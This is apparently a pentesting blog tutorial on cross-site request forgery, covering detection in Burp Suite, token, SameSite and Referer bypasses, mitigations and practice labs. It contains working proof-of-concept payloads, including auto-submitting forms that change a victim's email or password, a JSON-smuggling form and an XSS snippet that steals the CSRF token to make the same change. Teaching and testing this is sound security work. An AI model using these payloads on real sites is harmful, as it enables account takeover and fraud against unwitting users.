Cross-site request forgery is one of those vulnerabilities that sounds simple until you actually try to exploit it in a modern application. In theory: trick a user’s browser into making an authenticated request to a target site. In practice: CSRF token validation, SameSite cookie policies, and Referer checks have made it significantly harder — but not impossible.
In 2026, pure CSRF is less common on major platforms, but it still shows up regularly in internal tools, legacy enterprise apps, custom-built APIs, and any application that implements CSRF protection carelessly. And when CSRF tokens are present but misconfigured, the bypass is often trivially easy.
This guide covers how CSRF works mechanically, how to find and confirm it, exploitation techniques, common bypass methods, and how to chain CSRF with other vulnerabilities for real impact.
What Is CSRF?
Cross-site request forgery (CSRF) exploits the browser’s automatic inclusion of credentials — cookies, HTTP authentication headers — with every request to a domain. If a victim is authenticated to a target site and visits an attacker-controlled page, that page can cause the victim’s browser to send requests to the target site with the victim’s session credentials attached.
The server sees an authenticated request. It can’t tell that the user didn’t intentionally make it.
Classic example:
- User logs into
bank.com— session cookie set - User visits attacker’s page at
evil.com evil.comcontains<img src="https://bank.com/transfer?to=attacker&amount=10000">- Browser fetches that URL — with session cookie included
- Bank processes the transfer as the authenticated user
The attack works because:
- Cookies are sent automatically with every request to the cookie’s domain
- The server can’t distinguish an intentional request from one forged by a third-party page
- The attacker doesn’t need to read the response — for state-changing operations, submitting the request is enough
How CSRF Differs From XSS
Common confusion: CSRF and XSS both involve malicious browser behavior, but the mechanism and defender perspective are different.
| Property | XSS | CSRF |
|---|---|---|
| Attacker injects | Code into the target site | Requests from victim’s browser |
| Executes in | Victim’s browser, target site’s origin | Victim’s browser, third-party origin |
| Reads response | Yes (same-origin) | No (cross-origin, blocked by SOP) |
| Requires user authentication | No | Yes (uses victim’s session) |
| Bypass approach | CSP, output encoding | CSRF tokens, SameSite, Referer |
CSRF doesn’t let you steal data — you can’t read the response cross-origin. It lets you perform actions as the victim.
Impact
What can you do with CSRF? Anything the victim can do, with no read access:
- Account takeover — change email, change password, add attacker-controlled OAuth app
- Privilege escalation — add admin accounts, modify user roles
- Financial transactions — transfers, purchases, subscription changes
- Data deletion — delete files, accounts, configurations
- Credential harvesting — combined with stored XSS, CSRF becomes nearly unlimited
The real impact depends on what the vulnerable endpoint does. A CSRF against a password-change endpoint that doesn’t require the current password is account takeover.
CSRF Conditions
Three conditions must be met for a CSRF attack to succeed:
- A relevant action — something that changes state on the server (change email, transfer funds, modify settings)
- Cookie-based session handling — the application uses cookies to identify authenticated users (not custom headers like
X-Auth-Tokenwhich can’t be forged cross-origin) - No unpredictable parameters — no CSRF token, or a token that can be bypassed
When all three are present, CSRF is exploitable.
Detection with Burp Suite
Passive Detection
Burp Suite Professional’s Scanner automatically flags potential CSRF issues. In Burp Suite Community, you identify them manually.
What to look for in requests:
- POST, PUT, DELETE requests that change server state
- Absence of CSRF tokens
- Tokens present in cookies but not in request body (doesn’t help — cookies are automatically sent anyway)
- Predictable or static tokens
Step 1 — Intercept state-changing requests:
Browse the application authenticated, performing all major actions: change email, change password, update profile, delete items, send messages. Capture these in Burp Proxy.
Step 2 — Examine each request for CSRF protections:
For each state-changing POST request, check:
- Is there a
csrf_token,_token,nonce, or similar parameter? - Is that parameter validated server-side?
- Is the
OriginorRefererheader checked? - Is there a
SameSiteattribute on the session cookie?
Step 3 — Test token validation:
If a token exists, test it:
1. Remove the token entirely → does the request succeed?
2. Send an empty token value → does the request succeed?
3. Use a token from another session → does the request succeed?
4. Modify one character of the token → does the request succeed?
If any of these succeed, the CSRF protection is broken.
Using Burp’s CSRF PoC Generator
Burp Suite Pro has a built-in CSRF PoC generator:
- Right-click any request in Burp Proxy history
- Select Engagement tools → Generate CSRF PoC
- Burp generates an HTML page that will submit that request
- Click Test in browser to trigger it from your browser
This is the fastest way to confirm exploitability.
Manual PoC (Community edition):
For a POST request, the basic PoC structure:
<html>
<body>
<form action="https://target.com/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
For GET-based state changes:
<img src="https://target.com/delete-account?confirm=true" />
CSRF Token Bypass Techniques
Modern applications usually implement CSRF tokens. Here’s how they’re commonly broken.
1. Token Not Validated
The most common finding: token is present in the request but the server doesn’t actually check it.
Test: Remove the token parameter entirely and resubmit. If the request succeeds, no validation is happening.
2. Token Tied to Cookie, Not Session
Some implementations tie the token to the session but validate it against a separate cookie rather than server-side session state. If both the cookie and the parameter match, the request is accepted — even if both were forged.
Attack (Double Submit Cookie pattern bypass):
If you can set a cookie in the victim’s browser (e.g., via a subdomain XSS, document.cookie from related domain, or cookie tossing), you can:
- Set
csrf_cookie=forged_valuein victim’s browser - Submit request with
csrf_token=forged_valuein body - Server checks cookie vs parameter — they match, request accepted
This works when the server doesn’t maintain server-side session state for the token.
3. Token Not Tied to User Session
Some implementations generate tokens that are globally valid — not tied to a specific user’s session.
Test: Log in as user A, capture the CSRF token. Log in as user B. Try using user A’s token in user B’s request. If it works, tokens are global.
4. Token Present But Predictable
If the CSRF token is generated from:
- Timestamp + user ID (XOR’d or Base64’d)
- Sequential integers
- Static value embedded in HTML
…it may be predictable or calculable. Analyze the token entropy. A weak token can be guessed or brute-forced.
5. Referer Header Bypass
Some applications validate the Referer header instead of a token. Referer validation can be bypassed:
Null Referer:
<meta name="referrer" content="no-referrer">
<form action="https://target.com/change-email" method="POST">
...
</form>
The browser omits the Referer header. If the server accepts requests with no Referer (treating absence as trusted), it’s exploitable.
Referer Subdomain Match:
If the server does prefix/suffix matching on Referer:
# If server checks: referer.startsWith("https://target.com")
# Host your PoC at: https://target.com.attacker.com/csrf.html
# If server checks: referer.endsWith("target.com")
# Host at: https://attackertarget.com/csrf.html
6. SameSite Cookie Bypass
SameSite is now the primary CSRF defense in most modern applications. Understanding what each value means and how to bypass it is critical.
| SameSite Value | Behavior | CSRF Risk |
|---|---|---|
Strict | Cookie never sent cross-site | Near-immune |
Lax | Cookie sent for top-level navigations (GET) | Partial protection |
None | Cookie always sent (requires Secure) | No protection |
| (Not set, Chrome 80+) | Default Lax | Partial protection |
Lax Bypass — Top-Level Navigation GET:
SameSite=Lax blocks cookies on cross-site POST requests but allows them on top-level GET navigations. If the vulnerable action is on a GET endpoint:
<!-- Opens target URL as top-level navigation — cookie included with Lax -->
<script>
window.location = "https://target.com/delete-account?confirm=true";
</script>
Lax Bypass — Overriding Method Constraints:
Some frameworks accept POST requests as GET when the _method=POST parameter is present (method override). If the vulnerable endpoint can be triggered via GET with method override, Lax cookies are sent.
SameSite=Strict Bypass via Chain:
A site using Strict SameSite has strong protection against direct CSRF. However:
- If the site has an open redirect, you can chain: victim visits your page → redirect to
target.com/redirect?url=target.com/csrf-action→ Strict cookie now included because browser is now same-site - If there’s any XSS on the target domain, all CSRF protections are irrelevant — XSS gives you same-origin code execution
None + Secure still exploitable:
If the session cookie is SameSite=None; Secure, CSRF is fully exploitable from any cross-site page. This setting was common in older configurations and still appears in legacy applications.
Exploitation — Building Real Payloads
Basic Form Submission
The PoC page auto-submits a form:
<html>
<body onload="document.getElementById('form').submit()">
<form id="form" action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="confirm" value="[email protected]" />
</form>
</body>
</html>
Hiding the PoC in an invisible iframe:
<iframe style="display:none" name="hidden-frame"></iframe>
<form target="hidden-frame" action="https://target.com/change-password" method="POST">
<input type="hidden" name="password" value="Hacked123!" />
<input type="hidden" name="confirm" value="Hacked123!" />
</form>
<script>document.forms[0].submit();</script>
The form submits into the hidden iframe — no visible page navigation.
JSON Request Bodies
Some APIs only accept Content-Type: application/json. Forms can only send application/x-www-form-urlencoded, multipart/form-data, or text/plain. This appears to block CSRF — but check carefully:
Does the API actually enforce Content-Type?
Test by sending the JSON payload with Content-Type: text/plain:
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input type="hidden" name='{"email":"[email protected]","x":"' value='"}' />
</form>
This sends the body: {"email":"[email protected]","x":""} with Content-Type text/plain. If the server parses it anyway (many do), it’s exploitable.
Fetch with no-cors mode:
fetch("https://target.com/api/change-email", {
method: "POST",
mode: "no-cors",
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "email=attacker%40evil.com"
});
no-cors mode restricts which headers can be set but allows simple content types. Credentials are included.
Multipart Requests
If the endpoint requires multipart/form-data:
<form action="https://target.com/upload-profile" method="POST" enctype="multipart/form-data">
<input type="hidden" name="email" value="[email protected]" />
</form>
Multipart is a simple content type — automatically sent cross-origin without preflight.
CSRF + XSS Chain
CSRF has limited standalone impact because you can’t read responses. Chaining CSRF with XSS removes that constraint entirely.
Stored XSS → Steal CSRF Token → Submit Authenticated Request:
If the application has stored XSS:
// Payload injected via stored XSS
var token = document.querySelector('[name="csrf_token"]').value;
fetch("https://target.com/change-email", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "[email protected]&csrf_token=" + token
});
XSS runs same-origin — you can read the CSRF token from the DOM and submit it. CSRF protections become irrelevant once XSS is present.
CSRF → Account Takeover Chain:
The most impactful CSRF chain:
- CSRF email change (no current password required) → victim’s email changed to [email protected]
- Password reset via attacker-controlled email
- Full account takeover — no token theft needed
If email change doesn’t require a password, and the account recovery is email-based, one CSRF gives you the account.
CSRF Against REST APIs
Modern REST APIs are sometimes incorrectly assumed to be CSRF-immune. Common misconceptions:
Misconception 1: “We use JSON, so we’re safe”
As shown above — if the server doesn’t strictly validate Content-Type, JSON endpoints are exploitable via text/plain bodies.
Misconception 2: “We check Origin header”
Origin header checking works correctly when implemented properly, but:
- If null Origin is accepted (some servers whitelist it for legacy reasons), iframes with
sandboxattribute can bypass it - If the origin check is a prefix match or poorly anchored, similar bypasses to Referer apply
Misconception 3: “We use bearer tokens in Authorization header”
If the API uses Authorization: Bearer <token> in headers rather than cookies, CSRF doesn’t apply — custom headers can’t be set cross-origin without preflight, which triggers CORS preflight that the server would reject. This is the correct architecture for APIs.
The problem: if the same API also accepts session cookies (for browser-based access), CSRF applies to cookie-based authentication paths.
Referer Validation Bypass — Advanced
Some applications validate Referer with substring matching:
# Vulnerable: checks if target domain appears anywhere in referer
if "target.com" in request.headers.get("Referer", ""):
accept()
Subdomain attack:
Host your PoC at https://target.com.attacker.com/csrf.html. The Referer will contain target.com.
Path attack:
Host at https://attacker.com/target.com/csrf.html. Referer contains target.com in the path.
Both bypass naive substring matching.
Practical Testing Workflow
This is the workflow to use during a web app pentest engagement:
1. Map all state-changing endpoints (POST/PUT/DELETE)
→ Focus on: account changes, admin actions, financial operations
2. For each endpoint:
a. Is CSRF token present?
No → Generate PoC, test direct exploitation
Yes → Continue
b. Remove token → does request succeed?
Yes → Token not validated
c. Empty token → does request succeed?
Yes → Token checked for presence, not value
d. Token from another session → does request succeed?
Yes → Token not tied to session
e. Check SameSite cookie attribute
None/missing → CSRF fully exploitable via cross-origin form
Lax → Check for GET-based state changes
Strict → Check for open redirects or XSS chains
f. Check Referer validation
Test null Referer (meta referrer tag)
Test subdomain bypass
3. Confirm exploitability:
→ Build PoC page
→ Test in browser while authenticated to target
→ Verify state change happened
Real-World CSRF Findings
GitHub (2012): CSRF on OAuth authorization flow. Attacker could link victim’s GitHub account to attacker’s OAuth application — silent account linkage, full access.
Netflix (2014): CSRF allowed changing the shipping address for DVD delivery and adding rental titles — no token protection on those endpoints.
YouTube (2008): CSRF allowed adding videos to playlists, submitting comments, and adding friends — all without user interaction.
Citrix ShareFile (2020): CSRF on password change endpoint. No current password required, no CSRF token — direct account takeover.
The pattern: high-value, low-friction actions (email/password change, account linking) with missing or broken token validation.
Mitigation (For Report Writing)
When writing findings, include standard mitigations:
CSRF Tokens (Synchronizer Token Pattern):
- Generate unpredictable, high-entropy token per session
- Validate server-side on every state-changing request
- Token must be tied to session, not globally valid
- Rotate token after sensitive actions
SameSite Cookies:
SameSite=Strictfor all session cookies where possibleSameSite=Laxas minimum for non-API session cookies- Never use
SameSite=Nonewithout strong justification
Origin / Referer Validation:
- Validate Origin header server-side for CORS-enabled APIs
- Use strict matching, not substring matching
- Reject requests from unexpected origins
Custom Request Headers:
- APIs should use
Authorization: Bearerin headers, not cookies - Custom headers (e.g.,
X-Requested-With: XMLHttpRequest) provide CSRF protection as they can’t be set cross-origin without preflight
Double Submit Cookie (with HMAC):
- Sign the token with the session key before setting it as a cookie
- Validate signature server-side — forged cookies will fail signature check
CSRF vs. Clickjacking
Often confused, often chained. Key distinction:
CSRF: Victim’s browser makes a request invisibly. The user doesn’t interact with anything visible from the target site.
Clickjacking: Victim clicks on something visible (the attacker’s site), but the click lands on a transparent iframe over the target site. The victim sees a fake button but clicks a real one on the target.
When actions require user interaction (drag-and-drop, complex forms), clickjacking may work where CSRF doesn’t. When actions can be triggered via simple GET/POST, CSRF is simpler. They can be chained: clickjacking to perform an action that bypasses CSRF token requirements by making the user “intentionally” submit the form.
Practice Environments
Build your CSRF skills in legal environments:
- DVWA — Dedicated CSRF module, multiple difficulty levels
- WebGoat — OWASP’s broken web app, CSRF lessons included
- Juice Shop — Modern SPA, CSRF and API security challenges
- HackTheBox / TryHackMe — Periodically include CSRF in web app boxes
- PortSwigger Web Security Academy — Best CSRF labs available, free, covers all bypass techniques
For a complete lab environment you control, a $6/month VPS is enough to spin up any of these:
👉 Vultr — Deploy a lab VPS — SSD instances starting at $6/month. Snapshot your lab state, rebuild from scratch anytime.
👉 DigitalOcean — Droplets for security labs — Same price range, clean UI, good for dedicated DVWA/WebGoat instances.
Related Guides
- Web Application Pentesting Guide 2026: Tools, Techniques & Methodology
- SQL Injection Attack Guide 2026: Detection, Exploitation & WAF Bypass
- XSS Attack Guide 2026: Cross-Site Scripting Detection, Exploitation & Bypass
- Burp Suite Pro vs Free: Is It Worth It for Pentesters in 2026?
Need Professional Security Content?
CipherWrite — cybersecurity articles, technical documentation, and red team reports written by practitioners. For teams that need content that’s actually accurate.
